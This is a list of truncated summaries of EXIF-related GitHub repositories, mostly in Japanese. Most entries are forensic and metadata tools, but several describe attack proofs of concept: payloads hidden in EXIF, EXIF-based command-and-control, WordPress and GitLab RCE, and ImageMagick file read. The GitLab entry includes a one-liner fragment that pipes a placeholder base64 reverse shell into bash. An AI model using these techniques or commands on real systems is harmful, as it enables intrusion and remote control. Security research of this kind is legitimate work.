ExifSmugglingPoC

Exif Smuggling Cache Smuggling の Proof-of-Concept 進化版。この攻撃は、実行可能なペイロードを JPG の Exif データ内に隠蔽します。その結果、画像キャッシュ（Web ブラウザのキャッシュなど）を利用して、ペイロードを受動的にダウンロードすることができます。 その結果、サンプルローダー（chromepoc.ps1）は、第2ステージのペイロードを取得するためにインターネットリクエストを行う必要がありません。代わりに、Chrome ブラウザのキャッシュからそれを抽出するだけです。 詳細はこちら:...

basecrack

BaseCrack ベースエンコーディングスキームのデコーダー BaseCrack は、すべての英数字ベースエンコーディングスキームをデコードできる Python 製ツールです。このツールは、単一のユーザー入力、ファイルからの複数入力、引数からの入力、マルチエンコードされたベース 、画像 EXIF データ内のベース 、OCR による画像上のベース を高速に処理できます。 基本的なデモについては、BaseCrack の API を利用した Web インターフェース をお試しください。 豆知識！ きっかけは、つまらない CTF...

exifLooter

Exif Looter ブログ投稿 » · バグを報告 · 機能をリクエスト 目次 1. はじめに インストール 2. 使用方法 特定の画像を分析 特定のディレクトリを分析 他のツールとのパイプ 画像からメタデータを削除 Open Street MapのURLを取得 3. レポート 4. ロードマップ 5. コントリビューション 6. ライセンス 7. 連絡先 はじめに Exif Looterをローカルでセットアップするための一般的な情報 インストール go install github.com/aydinnyunus/exifLooter@latest...

Refloow-Geo-Forensics

📍 Refloow™ Geo Forensics 官方 GitHub 仓库 专业开源 OSINT 与数字取证工具 版本 1.4.0（最新）： 版本 1.0.0（发布）： Refloow™ Geo Forensics 是一款高性能的开源数字取证工具，专为调查人员、OSINT 从业者和安全分析师设计。它能从批量图像或视频中自动提取 EXIF 元数据，在交互式地图上可视化地理空间数据，并重建按时间顺序的事件时间线，以揭示数字证据中隐藏的联系。完全私有且本地运行，无数据收集，无需登录。 资源与社交媒体 | 报告问题 / 请求功能 | 其他 Refloow 软件 !IMPORTANT...

xzf

はじめに xzf は、EXIF データがコマンド＆コントロールに利用され得ることを示すシンプルな PoC です。xzf は所定の URL から画像を GET し、Software タグを読み取って認証文字列を取得します。文字列が一致した場合、xzf は ImageDescription タグに含まれる任意のコマンドを実行します。 使用方法 1. 認証文字列と XOR キーを選択し、xor.py を使用して文字列を XOR 処理します 2. 画像を選択し、gexif を使用して、実行するコマンドを ImageDescription に、認証文字列を Software タグに追加します。 3...

Exif-Remove

コマンドラインツール - Exifデータを簡単に削除 このツールはPython 2.7で作られ、Windows OS向けにpyinstallerでコンパイルされています。特別な機能はなく、私の作業を楽にするためのもので、あなたにも役立つかもしれません。 なぜ必要か？ Exifは写真に隠れて保存されているメタデータです。善意の人々でも、デジタル写真のメタデータに埋め込まれた個人情報を無意識に露出してしまうことがあります。オンラインでの機密性をより良く保護するためには、exifデータを削除することが重要です。 変更履歴 v.1.0.3...

onionscan

What is OnionScan? OnionScan is a free and open source tool for investigating the Dark Web. For all the amazing technological innovations in the anonymity and privacy space, there is always a constant threat that has no effective technological patch - human error. Whether it is operational securi...

goca

Goca はGoで書かれた FOCA のフォークであり、主にスキャンしたドキュメント内のメタデータや隠された情報を発見するためのツールです。これらのドキュメントはWebページ上にある場合があり、Goca を使ってダウンロードおよび分析できます。 さまざまな種類のドキュメントを分析でき、最も一般的なものはMicrosoft Office、Open Office、PDFファイルですが、例えばAdobe InDesignやSVGファイルも分析します。 これらのドキュメントは、以下のような検索エンジンを使用して検索されます： Google Bing DuckDuckGo Yahoo Ask...

WP_CROP_RCE

WordPress Image CROP RCE 分析报告 POC & Dockekfile : https://github.com/synod2/WPCROPRCE 本文档讨论了在 WordPress 4.9.9 及 5.0.1 之前的版本中发现的漏洞，即被称为 WordPress Image CROP RCE 的 CVE-2019-8942 和 CVE-2019-8943。 CVE 编号| 公开日期| 描述 ---|---|--- CVE-2019-8942| 2019-2-19| 通过 wppostmeta 表值执行包含恶意代码的 PHP，可实现远程代码执行的漏洞...

FOCA

FOCA（収集されたアーカイブによる組織のフィンガープリンティング） FOCA は主に、スキャンするドキュメント内のメタデータや隠された情報を見つけるために使用されるツールです 。これらのドキュメントはWebページ上にある可能性があり、FOCAを使用してダウンロードおよび分析できます。 多種多様なドキュメントを分析でき、最も一般的なものは Microsoft Office 、Open Office 、または PDF ファイルですが、例えば Adobe InDesign や SVG ファイルも分析します。 これらのドキュメントは、Google 、Bing 、DuckDuckGo...

imago-forensics

imago-forensics 🕵️ Imago は、画像から再帰的にデジタル証拠を抽出する Python ツールです。 このツールは、デジタルフォレンジック調査の際に役立ちます。多くの画像からデジタル証拠を抽出する必要がある場合、このツールを使えば簡単に比較できます。Imago は、証拠を CSV ファイルまたは SQLite データベースに抽出できます。JPEG の Exif に GPS 座標が含まれている場合、Imago は経度と緯度を抽出し、度に変換して、市区町村、国、郵便番号などの関連情報を取得できます。 また、Imago...

imago-forensics

imago-forensics 🕵️ Imago is a python tool that extract digital evidences from images recursively. This tool is useful throughout a digital forensic investigation. If you need to extract digital evidences and you have a lot of images, through this tool you will be able to compare them easily. Imago...

external_libexif_AOSP10_CVE-2020-0452

libexif ------- 説明 libexif は、EXIF データの解析、編集、保存を行うためのライブラリです。コマンドラインユーティリティや GUI プログラムにおける多くの重複した実装を置き換えることを目的としています。 特徴 libexif は EXIF データの解析、編集、保存をサポートしています。さらに、gettext による国際化対応も備えています。EXIF 標準 2.1（および 2.2 の大部分）で記述されているすべての EXIF タグをサポートしています。また、Canon、Casio、Epson、Fuji、Nikon、Olympus、Pentax、Sanyo...

Pixel-Flood-Attack

Pixel Flood DoS - CVE-2024-22393 PoC Webサーバー向けPixel Floodバグ 脆弱なバージョンのApache Answerを実行しているWebアプリケーションにおけるPixel Floodメモリ枯渇脆弱性をテストするための軽量なProof-of-Conceptです。 目次 説明 技術的詳細 影響を受けるバージョン 要件 使用方法 PoCの手順 検出 緩和策 バグバウンティのヒント 参考資料 免責事項 説明 このリポジトリは、CVE-2024-22393 のProof-of-Conceptです。これはApache...

external_libexif_AOSP10_r33_CVE-2020-0181

libexif ------- 説明 libexif は、EXIF データを解析・編集・保存するためのライブラリです。これは コマンドラインのユーティリティや GUI を持つプログラムにおける多くの重複した実装を 置き換えることを目的としています。 特徴 libexif は、EXIF データの解析、編集、保存に対応しています。さらに、 gettext にも対応しています。EXIF 規格 2.1（および 2.2 の大部分）に記載されているすべての EXIF タグ に対応しています。Canon、Casio、Epson、 Fuji、Nikon、Olympus、Pentax、Sanyo...

Exif-Grabber

Exif Grabber について ベータ版 Exif Grabber は、画像から Exif データを2つの方法で抽出するために設計された Python ツールです。 スクリーンショット 動作中の一部を示すスクリーンショット 必要条件 Exifread ライブラリ :https://pypi.python.org/pypi/ExifRead インストール $ git clone https://github.com/D4Vinci/Exif-Grabber.git...

auto-cve-2022-44268.sh

auto-cve-2022-44268 CVE-2022-44268 ImageMagick任意ファイル読み取りの悪用を自動化 Original finding: https://www.metabaseq.com/imagemagick-zero-days/ PoC Repository: https://github.com/duc-nt/CVE-2022-44268-ImageMagick-Arbitrary-File-Read-PoC 説明 ImageMagickは「profile」というテキスト文字列を ファイル名として解釈し、その内容を生のプロファイルとして読み込み...

GitLab-preauth-RCE_CVE-2021-22205

GitLab-preauth-RCECVE-2021-22205 GitLab事前認証RCE（CVE-2021-22205）のシングルラインバッシュPoC t="http://vuln.site";cmd='echo xxxbase64ofreverseshellcodexxx |base64 -d|bash';f="1.jpg";echo...

exif-gps-tracer

exif-gps-tracer データセットに保存された画像ファイルから位置情報（GeoLocation）データを解析するPythonスクリプトです。CSVファイルおよびHTML Google Maps形式で出力を生成します。 前提条件 このスクリプトをスムーズに実行するには、 1 Google Maps API キーが必要です 2 コンソールで Map JavaScript API を有効にしてください APIキーを取得するには、以下のドキュメントを参照してください...

external_libexif_AOSP10_r33_CVE-2020-0198

libexif ------- 説明 libexifは、EXIFデータの解析、編集、保存を行うためのライブラリです。コマンドラインユーティリティやGUIプログラムにおける多くの重複した実装を置き換えることを目的としています。 機能...